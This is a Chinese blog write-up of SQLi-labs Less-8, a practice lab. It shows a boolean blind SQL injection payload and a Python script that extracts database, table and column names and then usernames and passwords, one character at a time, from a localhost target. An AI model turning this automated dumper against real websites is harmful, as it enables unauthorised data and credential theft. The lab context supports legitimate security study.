当前位置:网站首页>sqlilabs less-8
sqlilabs less-8
2022-07-01 14:03:00 【永远是深夜该多好。】
先判断是数字还是字符呢

数字加字符还是没问题,是字符型了。再尝试构造。因为这次只会返回正确与否,所以考虑盲注。
先判断数据库长度
然后判断数据库名

这要用到
substr(内容,n,m)从内容的第n位截取m个 length() 还有一个关键的sql语句
?id=1’ and
substr((select group_concat(table_name) from information_schema.tables
where table_schema =database() ),1,1)=‘u’–+
工作量有点大,可以考虑burp suite 或者用脚本
import requests
url = 'http://localhost/sqlilabs/Less-8/?id=1\''
datalens = 0
datanamee = ''
sign = "You are in..........."
tablename = ''
columnlist = ''
list1= ['id','username','password','user','currentconnections','totalconnections']
valuelist = ''
#数据库长度
for i in range(10):
rl = str(i)
lenurl = url + "and length(database())=" + rl + "--+"
r = requests.get(lenurl)
if sign in r.text:
print("database len " + str(i))
datalens = i + 1
#数据库名
wordlist = "abcdefghijklmnopqrstuvwxyz"
for i in range(1,datalens):
dataname = url + "and substr(database()," + str(i) + "," +"1)"
for w in wordlist:
datanames = dataname + "=" + "'" + w + "'" + "--+"
r = requests.get(datanames)
if sign in r.text:
datanamee += w
print("database name " + datanamee)
#数据库表名
wordlist2 = "abcdefghijklmnopqrstuvwxyz,"
for i in range(1,100):
tableurl1 = url + " and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(i) + ",1)="
for v in wordlist2:
tableurl = tableurl1 + "\'" + v + "\'" + "--+"
r = requests.get(tableurl)
if sign in r.text:
tablename += v
print("database table " + tablename)
#数据库字段名
for i in range(1,100):
columnurl1 = url + " and substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\' )," + str(i) + ",1)="
for v in wordlist2:
columnurl = columnurl1 + "\'" + v + "\'" + "--+"
r = requests.get(columnurl)
if sign in r.text:
columnlist += v
print("database colum " + columnlist)
print(list1)
#数据库元组
wordlist2 = "0123456789abcdefghijklmnopqrstuvwxyz,=-_/\\."
for n in range(6):
for i in range(1,200):
valueurl1 = url + " and substr((select group_concat(" + list1[n] + ") from users )," + str(i) + ",1)="
for v in wordlist2:
valueurl = valueurl1 + "\'" + v + "\'" + "--+"
r = requests.get(valueurl)
if sign in r.text:
valuelist += v
print("database " + list1[n] + ' ' + valuelist)
valuelist = ''

有目共睹,博主编程力有未逮,有待提高。
边栏推荐
- Introduction to distributed transactions (Seata)
- After being laid off for three months, the interview ran into a wall everywhere, and the mentality has begun to collapse
- Distributed dynamic (collaborative) rendering / function runtime based on computing power driven, data and function collaboration
- Realize queue with stack and stack with queue (C language \leetcode\u 232+225)
- 【剑指 Offer】55 - II. 平衡二叉树
- Etcd 概要 机制 和使用场景
- AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集
- Tdengine connector goes online Google Data Studio app store
- Arthas use
- Chen Yu (Aqua) - Safety - & gt; Cloud Security - & gt; Multicloud security
猜你喜欢

使用CMD修复和恢复病毒感染文件

leetcode622. Design cycle queue (C language)

The best landing practice of cave state in an Internet ⽹⾦ financial technology enterprise

龙蜥社区开源 coolbpf,BPF 程序开发效率提升百倍

AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集

Self cultivation of open source programmers who contributed tens of millions of lines of code to shardingsphere and later became CEO

开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO

Chen Yu (Aqua) - Safety - & gt; Cloud Security - & gt; Multicloud security

学会使用LiveData和ViewModel,我相信会让你在写业务时变得轻松

How will the surging tide of digitalization overturn the future?
随机推荐
【 剑指 Offer】55 - I. 二叉树的深度
8款最佳实践,保护你的 IaC 安全!
Leetcode question 1: sum of two numbers (3 languages)
User defined annotation realizes the function of verifying information
Logic is a good thing
Benefiting from the Internet, the scientific and technological performance of overseas exchange volume has returned to high growth
Admire, Ali female program undercover more than 500 black production groups
[IOT completion. Part 2] stm32+ smart cloud aiot+ laboratory security monitoring system
清华章毓晋老师新书:2D视觉系统和图像技术(文末送5本)
Detailed explanation of leetcode reconstruction binary tree [easy to understand]
建立自己的网站(21)
Play with mongodb - build a mongodb cluster
How to pass array parameters in get request
光环效应——谁说头上有光的就算英雄
[sword finger offer] 55 - I. depth of binary tree
原来程序员搞私活这么赚钱?真的太香了
QT learning management system
当主程架构游戏的时候,防止到处调用减少耦合性,怎么开放接口给其他人调用呢?
奔涌而来的数字化浪潮,将怎样颠覆未来?
Applet - multiple text line breaks in view